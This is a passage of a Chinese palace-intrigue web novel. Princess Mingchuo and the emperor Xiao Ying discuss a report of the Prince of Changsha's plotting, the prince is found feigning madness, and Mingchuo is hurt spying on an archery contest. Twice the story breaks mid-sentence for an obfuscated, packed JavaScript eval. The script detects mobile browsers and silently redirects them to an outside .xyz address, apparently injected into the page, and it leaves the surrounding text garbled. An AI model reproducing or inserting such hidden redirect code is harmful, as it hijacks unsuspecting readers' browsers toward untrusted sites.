荆州民间敢传唱这支歌,萧忞早就该严查重判,然后连滚带爬地来跟建康请罪,撇清关系。荆州又是兵家重镇,刺史才是地方的长官,有兵马有实权,不怕长沙王。如今他一言不发,却要袁增这么个护军来越级密告,长沙王就算没有这个心思,在朝廷眼中,也已经洗不脱勾结地方州镇企图谋逆的嫌疑。 明绰皱眉:“王府的长史怎么没有动静?” “以利相诱,以威相逼,”萧盈说得轻描淡写,“再不从,杀了便是。” “荆州刺史呢?”明绰又问,“兵家重镇,州郡同治,就算刺史起了异心,还有南郡太守,难道都投向长沙王了?” “天子年幼,长沙王未必不能事成。”萧盈冷笑了一声,“人心向背,本根易摇。早晚朕都要收拾了。” 明绰突然转头看了他一眼,好像从他平平淡淡的一句话里看到了一个陌生人。对于长沙王的野心,萧盈显得既不吃惊,也不惶恐。既然知道了,那就处理,该杀的杀,不能杀的就记下一笔账,日后再算。 至于他们为什么接二连三地唱起那支歌,他好像完全不在乎。又或者,他没让明绰看出来。 可是明绰看着萧盈那张脸,心里却不受控制地升起一个念头。 为什么母后对他这么冷淡?真的只是因为太父不允许吗? 她努力把那个念头压下去,伸出手往碳炉边上再靠近一分,似是冷得厉害。药被烧得滚烫,翻出来,浇在碳上,发出“刺啦”的声音,一下子把明绰的思绪拉了回来。 “哎呀。”她轻轻惊呼出声,赶紧伸手去拿药,但是忘了巾子,被狠狠烫了一下,“嘶嘶”地抽气。萧盈眉头一皱,赶紧自己垫着巾子把药罐子拿下来。明绰顾不得手上的疼,去拿食盒里的碗,一眼又看见了那包蜜饯。 不会的。明绰把刚才升起的那个念头强行摁下去,抓起蜜饯递给了萧盈:“皇兄先含一颗再喝,免得太苦。” 萧盈接过来,却没吃,只道:“太烫了,过会儿吧。” 明绰便重新坐下来,又搓搓手。萧盈抓了她的手看,用指腹在烫红的地方轻轻摩挲着,他的手还是有点儿凉凉的,贴上来很光滑,却把明绰心里磨得毛毛的。 她突然又想,若是皇兄习武,也练了一手的茧子,会是什么感觉。然后也不知道怎么了,好像这碳火更旺了,烧得明绰身上发汗,不自在地从萧盈手里抽回了自己的手。 萧盈没在意,取火钳子拨了拨碳,又续上了刚才的话:“中郎将倒是口口声声称刺史早已与长沙王勾结,一心要置人于死地。” 明绰“嗯?”了一声:“为何?” 萧盈有些意外地看了她一眼,觉得她不该想不通这个。明绰本是分了心,被他这么一看,果然自己反应了过来,恍然地“啊”了一声。 越级密告是不得了的事情,此刻荆州刺史恨袁增只怕比大将军更甚。自然,他若是脑子清楚,别真的去跟着长沙王造反,朝廷不会擅动手握兵马的一方州镇。可是对于袁增来说,多捅一刀还是少捅一刀的也没区别了。天子年幼不能服人,荆州刺史的忠心也就这么回事,袁增赌的就是这人心向背。 明绰轻轻咂舌:“他也不怕弄巧成拙,反而被治罪。” 萧盈却道:“中郎将是个人物。” 明绰想了想在宴上见到的人。袁增从头到尾就没主动说几句话,不是逢迎太后,就是应和谢聿,在明绰眼中多少有些拘谨无趣。但她想起袁煦,又觉得皇兄口中这个才是真正的袁增。 若不是做父亲的有贪天之志,做儿子的怎么敢垂涎公主呢? 想起袁煦的眼神,明绰又感觉心里不舒服了。 “怪不得太父如此看重他。”明绰斟酌着字句,小心地把话头引过来,“虽说是中郎将想投靠谢氏,但我看着,中郎将颇为冷淡,反而是舅舅那头更热乎——他还想把星娥许给中郎将的二公子呢。” 萧盈眉毛一扬,不怎么相信的语气:“真的?” “真的!”明绰道,“他一直在那儿说中郎将的小儿子跟星娥一般大,皇兄想想,若无相配之意,怎么会随意比较儿女的年岁呢?” 萧盈只是笑着摇了摇头。 明绰见他还是不信,又道:“只可惜中郎将没生个女儿,不然,进宫伴驾的可就不是袁煦了。” 萧盈心里恍然地“哦”一声,终于听明白她这弯弯绕绕的是要说什么了,作势想了想:“怪不得有人特意来朕面前说少将军面如冠玉,原来是想让朕学孝康皇帝。” 明绰:“……” 什么? 那孝康皇帝就是把天下拱手让给萧氏的前梁最后一位皇帝,按说亡国之君少有上谥,但萧氏感念他禅位之德,话说得很好听。 还有一个众人皆知的原因,那就是孝康皇帝好龙阳,与萧氏先祖还那么一点说不清道不明的“情分”在。 萧盈顺势用手背抵住唇,掩饰笑意,朝她看了一眼,又假正经地绷住一张脸。这不是一个适合跟妹妹开的玩笑,但这话又是在拿袁煦开涮,明绰在笑与不笑之间犹豫了半刻,到底是没绷住“噗嗤”一声。 她一笑,萧盈也放心地笑了,明绰伸手就在萧盈肩膀上狠狠捶了一下。 “我跟你说正经的呢!” 萧盈便跟她正经起来:“袁氏的门第要是能出皇后,袁增就不必这么多年还只是个护军了。” “我不是在说立后……”明绰越发哭笑不得。 萧盈知道她在想什么,抓了她的手,承诺什么似的拍了拍她的手背:“袁氏连星娥都配不上,更不要说朕的亲妹妹。你放心吧,太父不会答应的。” 明绰默然。谢郯看不上袁氏门第有什么用,说得不好听一点儿,他现在身子一如不如一日了,早晚还不是谢聿说了算。看今天宴上的情形,还真的不好说。 明绰突然正色道:“皇兄,东乡想求一个恩典。” 长公主只有在有外人的场合里才会以封号自称,两人向来没规矩,她突然这么严肃,把萧盈吓了一跳。 “怎么了?” 明绰:“皇兄还记不记得,当年乌兰郁弗和雍州军合兵的时候,段氏女还没有答应他的求娶。她说非真英雄不嫁,乌兰郁弗就为她屠尽长安;西海诸部从来没有嫡妻一说,乌兰郁弗便特设皇后之位,许诺仍然让她统帅雍州军,段氏女这才肯嫁……” 萧盈听到这里就知道她要说什么了,但他不想让明绰把话说完,因为他无法答应一件做不到的事情。 “溦溦,乌兰郁弗的年纪都能当段氏女的父亲了,她也未必是自己‘选’的……” “就算她不喜欢乌兰郁弗,那也是她自己愿意为雍州这么做,没有人摁着她的头去嫁!”明绰打断他,“易地而处,若是形势真的到了那一日,为了大雍,东乡也会愿意的!可我怕的是……” 她停下来,萧盈的眼睛微微一闪,准确无误地接收到了她没说出来的意思。只怕她的婚事不会是为了大雍,而只会是为了谢家。 其实明绰也知道,谢郯和谢拂霜都看不上袁家门第,她不必太过担心。可是袁煦不行,明日还会有别人,只要门第更高,更能巩固谢家的权力,太后总会答应的。 谢拂霜是疼女儿,但她同时也很强硬。只要她认为是对女儿好,对谢家好,就不会在乎女儿自己的意愿。 “东乡只是想跟段氏女一样,有一点点做主的余地就好了。”明绰突然跪着伏到了萧盈的膝上,萧盈一愣,只听明绰又轻声道,“可是东乡没有雍州军撑腰,只有皇兄。” 萧盈眼中无声翻浪,多少汹涌波澜,最终也只是抬起手,无言地揽住了明绰的肩膀。 少女的身体已经长起来了,但还是单薄又瘦弱。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893232|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀,她的手臂,她的腰,都纤细得让他觉得害怕,害怕多用一点力气,她就会散了。可是这样纤细的一副身体,压在他膝上的时候竟也会这样沉。 区区五万雍州军,段氏女就值得明绰这般歆羡。明明他是天子。 萧盈动弹不得,胸口又泛起熟悉的闷痛。他垂下双眼,视线又落到了那碗已经不再热气升腾的药上。 “溦溦,”萧盈叫她,“你知道,若是太后下懿旨,朕也无可奈何。” 明绰干脆抱住了萧盈的腰,半是撒娇,半是耍赖:“皇兄总要亲政的,怎么会无可奈何!” 她的长发顺着动作倾泻下来,铺满了萧盈的膝头,萧盈轻轻地摸了摸她的头发,然后又拍了拍她的肩,轻声道:“把药端来。” 明绰抬头看了他一眼,似乎还想再求一求,但最终还是选择乖乖地转身把药碗递了过来。 萧盈:“蜜饯。” 明绰再把蜜饯递给他,萧盈含了一颗在嘴里,然后仰起脖子,把药一饮而尽,这才道:“朕答应你。” 已经不抱希望的明绰猛地抬起头:“啊?” 萧盈笑了笑,把空碗还给她,没说第二遍。明绰又“啊”地叫了一声,猛地扑进了他怀中,力道之大,直接把萧盈撞翻在地,空碗从萧盈手里掉下来,咕噜噜地在地上滚出去好远,引得外面守着的人马上进来查看。 宋夫人还是第一个进来,捡起了空碗,见里面还余了一两滴深褐色的药,脸色就拉了下来。萧盈本来还笑着,被明绰揽着脖子坐在地下,见她的脸色,便立刻收敛了笑意。但宋夫人只是让人收拾了碳炉,不轻不重地请长公主顾惜一下陛下的病,莫要只顾玩闹。 明绰还是笑嘻嘻的,浑然没放在心上。倒是萧盈一脸做错事的神情,见宋夫人不高兴,他似乎也没了兴致,传了辇过来,让人把东乡公主送了回去。 第二天一早,含清宫有消息传来,说陛下的病又重了,三更天急传了太医,一直到天亮才离开。既然陛下和太尉都病着,课自然也就暂时停了,明绰一时也没了别的理由非要去。她想去探病,谢拂霜就说陛下病又重了都是她不知轻重跟陛下玩闹出来的,天子要静养,不许她去打扰。 含清宫里头沉寂着,上阳宫却是人来人往。 既然有人密报,御史台就得派人亲赴荆州,太后还遣了一支执金吾卫护送。这一切都太像当年燕康王之事,弄得大家都很紧张,重臣们几乎日日都在上阳宫议事,就连谢郯都强撑着从病榻上起来,在御史回来的节骨眼上进了上阳宫。 然而事态的发展并不像景平二年那样。 长沙王已经疯了。御史到府,他大冷的天一|丝|不|挂地接见,认不出人,听不懂话,口涎流满胡须,身上满是便溺之臭。御史去问长沙王之母李姬,但那妇人只顾她院里养的面首,诸事不管。长史、司马等人都不耐烦伺候一个疯子,早已辞官而去,王府里无人做主,也无人打理,几乎快要被刁奴和宵小掏空了。 御史又去拜访了荆州刺史和南郡太守,两边都说长沙王已经疯了很久了,至于民间传唱禁曲,根本就没有这回事,定是袁增贪功构陷。派去的御史便也无可奈何,只能替太后申斥了两句他们没有及时上报长沙王的病情,就又回来了。 重臣一时众说纷纭。有真信长沙王疯了的,也有认同袁增构陷荆州刺史,要治他罪的,还有和稀泥的,只说误会一场,谁的罪也别治,就此揭过罢了。 长沙王毕竟是怀帝最后一个弟弟。他疯是疯了,但不耽误生儿子,软禁在建康时就已有了一儿两女,到了封地更是连得四男,听说府里小儿满地跑。如今既然没有他谋逆的实证,重臣们话里话外,都是劝着太后留人。就差明说出来,陛下那个身子骨,说不好哪天还是得从长沙王的儿子里头挑人。 太后一直没有表态,遣散了重臣,显然是有话只同父兄说。 “疯得还真是时候。”谢拂霜从梁芸姑手里接过茶,吹了一口才往口中送。 谢聿恼火地呼出一口气:“装疯卖傻。” 谢拂霜笑了一声:“知道他是装疯,偏偏就是动不了他。” 谢聿:“他倒是比燕康王聪明得多,当年竟没看出来。” 谢拂霜垂下眼,若有所思地看着自己手中的茶:“萧忞哪有这么聪明。” 谢聿沉默下来,看着妹妹抬起眼,看向了双目微阖的父亲。谢郯还是一脸的病容,一直没说话,说不好是不是已经睡着了。 谢拂霜放下茶:“方才御史提起李姬养面首,那面首的名字倒是有些耳熟。” 谢郯突然睁开眼,看着女儿。 “方千绪,”谢拂霜一字一顿,“父亲可还记得他?” 8. 第 8 章 “方千绪是谁?” 谢星娥把骨签晃得“哗啦啦”响,回答得心不在焉:“好像是太父以前的门生吧——哈!” 她大笑一声,从棋盘上取走了明绰的黑子。从棋盘上看,黑子的形势已然不妙。但是明绰根本不在乎,只是迫切地问:“太父的门生怎么会去做长沙王母亲的面首?” 谢星娥想了想:“因为他生得俊俏?” 明绰站起来就走,谢星娥叫了一声“到你了”,明绰也只是不耐烦地挥了挥手:“我认输!” 一边说一边解了身上的宝石璎珞,随手抛给了谢星娥。这是她们提前说好的彩头。 谢星娥一向玩六博棋很厉害,定彩头的时候明绰已经看出来了,她就是看中了这条璎珞。 谢星娥凌空接住,果然美滋滋地往身上戴,在镜前左右看了好几遍,回头发现明绰还一个人闷闷地歪在榻上,便又挤上来:“东乡姐姐,我们玩投壶吧?” 明绰转头看了她一眼,投壶她也投不过她。 “你又看上什么了?” “没有——”谢星娥拖长了声音,“看姐姐不高兴嘛。” 明绰便又躺回去:“不想玩。” “那姐姐想玩什么?” “想……”明绰顿了顿,自言自语似的,“方千绪,不像世家子弟的名字。” 世家儿孙多单字,女子取双字。更何况建康的门阀之中也没有方姓。 谢星娥:“本来就不是,他以前是瓦官寺的和尚。” 明绰一下子坐起来:“啊?” 和尚能当太父的学生,比太父的学生去当面首还不对劲! 谢星娥继续语不惊人死不休:“他给慈安比丘尼讲经讲得好,这才被太父看中,还了俗,做了太尉府的门生。” 明绰:“……” 这位“慈安比丘尼”不是别人,正是谢郯的发妻,谢聿和谢拂霜的生母。 前梁皇室大概是因为经历了一次灭国之痛,全看开了,宗亲贵眷之中很多人都信佛,瓦官寺便是当年所建。直到如今,依然是京中贵人们要出家的不二之选,明绰这位外祖母便是其中之一。 但明绰从来没有见过她。慈安将俗世斩得一干二净,从不回家看望家人,也不要他们去打扰她的清修。谢家权势越盛,她越要苦修,因为在她眼里权柄都是罪孽。扫兴的话说多了,家人之间的情就淡了,到最后,已是完全无话可说,只能彼此都当做对方已经不存在。就连谢拂霜偶尔提起,也是深怨母亲的无情。 但按照谢星娥这么说,至少在谢郯认识方千绪的时候,他们夫妻之间还没走到如今的地步。 建康权贵信佛者众,瓦官寺的僧人行走于高门士族之间,常与文人清谈玄修。方千绪一介白衣,通过出家这条路走到谢太尉身边,不得不说,是很聪明的做法。 明绰:“然后呢?” 谢星娥撇了撇嘴:“不知道,好像是他哪里惹怒了太父,就被赶出去了。” 那就是反目了。明绰心里推测,以谢郯对出身门第的成见,将这僧人招为门生已是破格,真要举荐入仕,还是不太可能。方千绪心里含怨,与谢郯反目也是情理之中,如此一来,他在建康前途尽断,便只好去做李姬的面首——名为面首,其实是长沙王的谋士。 坏了,明绰心里想,这是冲太父来的呀。 她已经有好几个月没再去含清宫跟太父上过课,也没再见到皇兄了。一开始是因为他们俩都病着,拖着拖着,又忙起年尾的祭礼大典——好吧,其实她在大典上远远地见到了萧盈一面,但没说上话,就不算了。 眼看着年也过了,建康城顺顺当当地跨进了景平十四年,没被荆州军围城,也没出什么别的乱子,那含清宫的课业却是再也没有恢复。 一方面,是因为谢郯真的身体不太好了,如今又有荆州的事情压着,太尉没有精力再顾陛下的学业。另一方面,天子也已经不需要人再教着读书,年后复朝,嫖姚都尉就如约来陪天子骑射。 这下,连谢拂霜都觉得明绰不该再去凑热闹了,于是她只能跟谢郯一开始就说的那样,跟官眷女子们一起去女尚书那里习课。 明绰对此很不高兴,女尚书讲的东西对她来说太无聊了。她没那么多闲情逸致来给花鸟写诗,也没兴趣为了何为君子品行说上一天的空话。明绰想和当初在萧盈身边的时候一样,知道朝中到底发生了什么,北边的大燕又发生了什么。但这些都不是女尚书会教的东西。 长公主不高兴,就经常不去上课。不上课,就是跟谢星娥一块儿下棋投壶猜覆射。主要是谢星娥爱玩,明绰则是想从她那里打探一下谢聿回家说了什么。 “对了,”谢星娥把明绰从沉思里拉回来,“东乡姐姐,你听说没有?” “什么?” “太父要立王执瑈为后。” 王氏是慈安俗家的姓,如今的御史中丞王诃是她的侄儿,王执瑈便是御史中丞家中的女儿,算起来,是太后的舅家。也是正好提到了慈安,谢星娥又想起了这茬来。 “哦。”明绰闷闷的,一时没找出话来回答。王执瑈年方十五,出了名的乖巧温顺。无论是家世还是品行,她都是无可挑剔的皇后人选,所以也没什么可以评价的。 但不知道为什么,明绰心里突然没着没落的,半晌,只问:“什么时候的事情?” “就过年的时候吧。父亲让娘出面邀王家的女眷过府,在宴上要了王执瑈的八字。”谢星娥摆弄着新到手的璎珞,眼神有意无意地看着明绰,“娘说,今年怎么也要先把陛下的大婚办了。” 其实过年的时候谢聿把让东乡公主下嫁袁家的念头说了,让谢郯好一顿臭骂。但是话既然说到这了,谢郯便提出来,公主的事情不急,但是陛下该立后了,立了后,便好亲政。不过这些话就没让谢星娥听见了。 明绰还是没理她。谢星娥歪着头打量了一会儿,皱着鼻子,不知道在琢磨什么。虽然姑母总是让她来陪着表姐,但是表姐没什么兴趣搭理她,表姐关心的事情她也不懂。不过表姐对她还是很好的,什么璎珞钗环,她看上了,表姐就都会给。最重要的是,表姐是公主,尊贵又得宠,只要跟着她,就算要做什么出格的事情,也没人能拦着。 “东乡姐姐,”谢星娥试探着又叫了一声,“我们去看陛下射箭吧?” 明绰险些跳起来:“去哪儿看?” “自然是校场啊!” 明绰微微睁大了眼睛:“你知道校场在哪儿?” 她知道萧盈练骑射是去了执金吾卫的大营,那里专门给陛下辟了一片新的马场和校场。但已经不在宫里了,明绰也是寻路无门。见谢星娥一脸得意的小模样,又忍不住问:“你怎么知道的?” 谢星娥附到明绰耳边,故弄玄虚地压低了声音:“桓宜华的兄长不就是执金吾卫吗?她看上了嫖姚都尉,求着兄长带她去过,从此几乎天天都要去看。被楚恕颐和崔庆英知道了,吵嚷起来,桓宜华没办法,就只好把我们都带去了!” 明绰:“……” 她不怎么去女尚书那里上课,还真不知道这些高门贵女们私底下原来这么活泼。 谢星娥保证,桓宜华带她们去的小道隐蔽非常,不会被守着陛下的执金吾卫们发现。明绰二话不说,当即找了男装出来换上。谢拂霜平日里也不太拘着明绰,听人来报说公主换了男装要出宫,又是跟谢小姐在一处,也没说什么,就遣了两个人跟着,随她们出了宫。 姐妹两共骑一乘,一出宫就甩开了跟着的人,直奔大营校场而去。 一根羽箭“唰”地飞出来,从五十步以外正中靶心,引来周围一群叫好声。 袁煦掩饰了一下唇边的笑意,反手持弓,大步朝萧盈这边走了回来。一身劲装结束,整个人瘦削挺拔,如利刃出鞘,不束冠,只将头发绑在脑后,一跑起来发带飘飘,满是少年郎的招摇和恣意。 萧盈笑着拂了拂掌,看着袁煦到他面前微微屈膝,扬声道:“陛下,臣赢了!” “好!”萧盈非常痛快地解了腰上一块玉抛给他,“赏!” 周围几个少年又跟着哄然叫好。这里面几乎全都是在执金吾卫当差的世家子弟,桓宜华那位兄长桓湛也在其中。虽说大将军看见袁增就不痛快,但少年人一起在泥里打两个滚就好得亲兄弟一般。陛下命他们射箭比试,袁煦赢的就是桓湛,他反而叫得最欢。 有个小孩模样的也混在里面,突然指了指校场边上林木的豁口处:“兄长,又来人了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893233|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>另一个执金吾卫马上把他的手摁下来:“二公子别指啊!别把你的嫂嫂吓跑了!” 萧盈笑得欢畅。有他纵容,这帮少年更加放肆起来。袁煦眼中极为得意,顺手在弟弟的脑瓜上薅了一把。袁綦猛地别开头,犟头犟脑的,满脸不高兴。 如今袁煦俊美的名声更胜英武,走到哪里都有人来看他。那些世家女子以为躲在林间的豁口偷看就不会被发现,实在是太小看执金吾卫。只是陛下也喜欢看戏,所以装作不知道罢了。 来得最勤是谁,大家都已经认得了。 少年们推推搡搡的,又去起哄桓湛,桓湛急道:“那不是我妹妹!你们——唉!陛下可要主持公道!” 萧盈端坐着,眯起眼睛扫了一眼:“是比桓家小姐美一些。” 其实那两个小丫头隐在树丛里,根本看不清美丑。但大伙儿都闹得更高兴了,声音传得老远,把林间的鸟雀都惊起一片。 “行了,”萧盈懒散地撑着下巴,含着笑示意他们不要再闹,“接着比。” 袁煦:“陛下,这死靶子没意思,换成马上射柳如何?” 萧盈一挥手:“准。” 君命传下去,立刻就有人抓了鹁鸽关进葫芦里,又去牵马。明绰悄悄露出了脑袋,远远地就看见萧盈懒懒散散地坐在一群武将中间,瞧着是面色好些,但是宽带轻裘,姿态闲逸,怎么看都不像是要亲自下场骑马拉弓的。 倒是笑得很开心,明绰还从来没见他在含清宫里这么开心过。 谢星娥突然道:“崔庆英说得对,其实陛下比嫖姚都尉好看。” 明绰哑然失笑:“你去问问她,到底是来看陛下的,还是来看嫖姚都尉的?” “那还是看嫖姚都尉吧,”谢星娥很老成地摇了摇头,小声嘀咕道,“袁家夫人好当,皇后可不是谁都能妄想的。” 明绰突然想起什么,转头问她:“王执瑈来过吗?” “她岂会做这种事?”谢星娥道,“听说那天从我们府里回去以后,连家门都不出了。” 明绰一时又无话可答,只好又摇了摇头。 姐妹两个悄悄说话的功夫,桓湛和袁煦都已经上了马。两马并辔,就等萧盈一声令下。 桓湛压低了声音,突然叫了袁煦一声:“伯彦。” 袁煦转头,见他朝藏人的地方点了点下巴,使了个眼色。 “不好吧。”袁煦也压低声音,“陛下面前,别闹得太过了。” “这有什么!”桓湛不以为意,“我看陛下也挺高兴的。” “我是怕那真是你妹子。”袁煦从牙缝里挤出一句带着笑意的调侃,“这事儿要是捅出来了,小心大将军拿马鞭抽死你。” “你想得美!”桓湛当即扬起了马鞭作势要抽他,“不会是我妹子,她答应了我不来了!” “好啊。”袁煦无所谓地一勒马头,“那咱们就看看。” 两人再不多话,同时策马疾驰。校场边上一圈高枝都挂了葫芦,就看两个人谁射中的多。只见二人都从马上拈弓搭箭,“嗖嗖”几声连响,便有鹁鸽扑棱着翅膀,惊魂不定地从被一箭射裂的葫芦里飞出来。一时之间,利箭破空之声,振翅高飞之声,马蹄疾踏之声,还有众人奋然叫好的声音都响成了一片。马蹄踩出了一片飞扬的尘烟。 明绰从树丛里站起来,踮着脚想看清楚萧盈在干什么,但是只见尘土飞扬。她看了一眼身边的树,突然挽起袖子,往树上爬。 谢星娥吓了一跳:“东乡姐姐!” 明绰只当没听见,手脚并用地往上。这树倒是不难爬,有横伸出来的粗壮枝丫能坐人。明绰调整了一下位置,坐坐好,又朝谢星娥伸手:“上来呀!” 谢星娥连连摇头:“姐姐你快下来!他们会看见你的!” 桓宜华说过,执金吾卫有权当场射杀闲杂人等,所以一定要伏低。 明绰仍旧朝谢星娥伸着手:“来呀,怕什么!” 袁煦纵马而过,整个人几乎直立马上,弓弦拉满,已对准了树上的人影。 萧盈的视线跟着他的方向移动,突然看清了爬到树上的人。下一刻,他猛地站了起来,发出了裂帛似的一声喊:“袁煦!住手——” 长箭铮然离弦。 9. 第 9 章 袁煦站在中尉署门外,手里自觉举着马鞭,一副请罪的姿态。方才在校场的执金吾卫都站在他身后,唯有桓湛挨在他身边,一脸的茫然失措。 桓湛:“伯彦,那到底是……?” 袁煦只道:“别问。” 箭离弦的那一刻,树上的女子听到了陛下的声音,朝着他们的方向抬起了头。袁煦看清了她的脸,但已经来不及收回箭了。 好在他一开始就不是真的把人当刺客,瞄准的地方离她还有好几寸。箭钉在了树上,把东乡公主吓得从树上跌了下去。 有人飞快地奔过去,若不是袁煦及时勒住马头,恐怕马蹄已经将那人掀翻。袁煦惊魂未定地安抚暴躁的马,只看到陛下的背影,宽袖被风鼓起,鸟一般朝着东乡公主坠落的地方俯冲了下去。 所有人都被萧盈突然的动作吓住了,此起彼伏地喊“陛下”。等到他们终于跟上来的时候,萧盈已经抱起了跌落在树丛里的女子。身边还有一个年龄更小的丫头,也是一身男装,正捂着脸呜呜咽咽地哭。 萧盈站起来,那女子一只手勾着他的脖子,另一只手姿势怪异地搁在腹部,显然是受伤了。 有人想替陛下接过那女子,得到的只有萧盈的一声低斥:“退下!” 那女子把脸转过去,完全埋在了萧盈的颈窝里,不让人看见她的相貌。袁煦翻身下马,盯着她耳后到脖颈里露出来的一截白嫩皮肤,终于反应过来自己是朝谁射了一箭。 萧盈抬起眼,正撞上袁煦的眼神。 “你放肆。”他抱紧怀里的人,几乎是从牙缝里挤了几个字出来。袁煦立刻跪地,身边的执金吾卫都跟着他跪了下来,头低得不能再下,谁也不敢朝陛下怀中的女子多看一眼。 萧盈抬脚就走。那小丫头一边哭一边叫姐姐,一路跟进了中尉署。最后左中侯亲自牵着那小丫头出去安置了,只有陛下和那个女子留在中尉署,军医被召,一路跑得连呼带喘,几乎是滚进去的。 桓湛压低了声音:“我听左中侯称呼那小丫头,她好像姓……” 他哽了哽,不敢说出口似的:“谢。” 袁煦看了他一眼,什么都没说。 桓湛:“伯彦,这一箭是你射的,我,我没有……” 袁煦不耐烦地吐出一口气:“跟你没关系。” 桓湛难堪地踌躇了一会儿,往后退了一步,跟他的同袍们站在了一处。袁煦高举马鞭的手已经酸了,但他不敢松懈,反而抬高了一寸,头低下来,继续等。 明绰半躺在萧盈怀中,受伤的左手臂伸出去给军医检查。脖子还是朝里拧着,抓着萧盈的袖子,覆着脸。军医每碰到痛处,就激起她全身的战栗。 萧盈有点儿急了:“到底怎么样?” “这个……”军医犹豫了一下,不知道如何称呼受伤的人。她显然是个女子,但又一身男装。这伤实在不算什么,但看陛下的样子,怕是破了点油皮他都得小心着脑袋。各种念头纷纷乱乱地在军医的舌尖分别滚过一圈,最后只好含糊道:“贵人手臂脱臼了,臣这就为贵人接上,请贵人忍耐几分。” 明绰点点头,尚好的那只手更紧地攥住了萧盈的袖子。萧盈突然伸手把她的手攥在自己掌心,大拇指在她虎口处轻轻地摩挲了两下。一阵钻心的痛猛地从伤臂传来,但是明绰忍住了一声都没出,只是狠狠地反手抓着萧盈的手,指甲嵌进他的皮肉里。 军医放开她,转身去掏竹板:“臣给贵人上夹板。” 明绰马上撩开脸上的袖子,朝萧盈使了一个眼色。她不能上夹板,此事要尽力遮掩过去,若是惊动到太后那里就麻烦了。 萧盈会意:“一定要夹上吗?” 军医二话不说就把竹板放下了:“回禀陛下,若是不放心,也可以夹上,以全无虞。” 萧盈看了军医一眼,从他低眉顺眼的姿态里九转千回地读出了明绰这伤真实的严重性。 “朕知道了。” 军医也不知道这夹板上还是不上了,只好转头去看守在边上的执金吾卫中尉崔挺。军中应对这种跌打损伤非常熟练,军医来之前崔挺就已经差人送来了冰袋。这要是哪个执金吾卫操练的时候受的伤,同袍们“咔咔”两下就给摁回去了,还像模像样地叫军医来上夹板,怕是能被同袍们笑一年。于是崔挺朝军医使了个眼色,让他退下了。 躲在床上的女子依然以天子的衣袖覆面,认不出是谁。但与天子这般举止亲密,绝非常人。中书令的女儿称呼她为“姐姐”,她要么是谢太尉族中的女子,要么…… 崔挺斟酌了一番:“陛下,今日之事……” 萧盈打断他:“崔卿也出去。” 崔挺一愣:“陛下?” 萧盈抬高声音:“出去!” 崔挺一愣,脸上顿时露出不忿来。他手里握着执金吾卫三四万兵马,跟外面那些围着小皇帝转的世家子弟不是一路的。心里对这个乳臭未干的天子原本就没多少尊敬,岂容他这般呼来喝去。 崔挺张开嘴,似是还想说什么,但萧盈好像知道他心里在想什么似的,突然转过脸冷冷地看了他一眼。 崔挺心中莫名一凛,掂量了半刻,还是轻轻低下头:“喏。” 他一出去,明绰就没忍住痛声,疼得一双眼睛泪汪汪的,一边抽着冷气一边说:“他肯定要……嘶,肯定要把此事告诉……” “他不知道你是谁。” “星娥那个笨蛋,一直在叫姐姐……”明绰气得咬牙,“她哪还有别的姐姐!” 萧盈从胸中呼出一口气,似是压抑着什么:“朕自有打算。” 明绰深深地看了他一眼。执金吾卫名义上是唯一不听大将军调遣、直属天子的精锐之师,但谁都知道,自从宛南王之乱以后,谢太尉才是执金吾卫真正的统帅,崔挺眼里只认太后,不知天子。 明绰抿了抿嘴,把这份怀疑咽了下去,只道:“那袁煦也认得我。” “袁煦不是执金吾卫,不必听命于崔挺。”萧盈的语气还是硬邦邦的,“他什么都不会说的。” 明绰感觉得出来,萧盈好像对她很生气,便识相地从萧盈怀里坐了起来,下意识想撑手臂借把力,马上又疼得直抽冷气。萧盈的眉头立马皱成一团,就算知道她的伤根本没有大碍,看她疼的样子还是觉得后槽牙都跟着痒,心里一把火凭空燃起来,烧得他喉咙里一股铁锈味。 “你怎么找到校场来了?” 明绰低着头,瓮声道:“她们不都来吗?” 萧盈面无表情地看了她一会儿,突然问她:“你也是来看袁煦的?” 明绰猛地抬头瞪着他,好像被蒙了天大的冤枉,一时之间话都说不出来了,脸上明显是不服气的表情,眼泪却滚滚而下。萧盈伸手想给她擦,明绰倔强地避了一下。 “我来看皇兄练骑射的。”她顿了顿,眼睛往萧盈身上的穿戴一瞥,又道,“结果皇兄也没在练骑射。” 萧盈好一会儿没说话,然后他又伸出手,给明绰擦了擦眼泪。这次明绰没躲。 “嫖姚都尉有护卫天子的职责在身,”萧盈突然放软了语气,“他不是有意伤你。” 他倒是先把袁煦护上了。明绰眼前突然又浮现出他在一群少年人中间那般畅快的笑,心里蓦地升起一股恼火。 “袁煦没把我当成刺客。” “溦溦……” “他的箭是有意射歪的,就是想吓唬我,拿我给你们取乐。”她顿了顿,突然强调什么似的,又说了一遍,“给陛下取乐。” 萧盈没说话,明绰越想越气,又道:“你们早就看见我和星娥了!” 萧盈的眉头越皱越紧,好像很困惑于怎么又突然变成明绰对他生气了。但是明绰最生气的地方就是她也不知道她为什么对皇兄这么生气。 “我要回去了。”明绰低着头,想从榻上下来,“星娥呢?” 萧盈手上稍稍用力,更紧地摁住了她的肩膀,明绰挣了一下,又牵动了伤手。萧盈的眉头拧得简直要成一个结,摁着她的左臂不让她动,一边给她把袖子挽上去。明绰的手肘还有擦伤,脱臼的地方已经肿起来一大块。 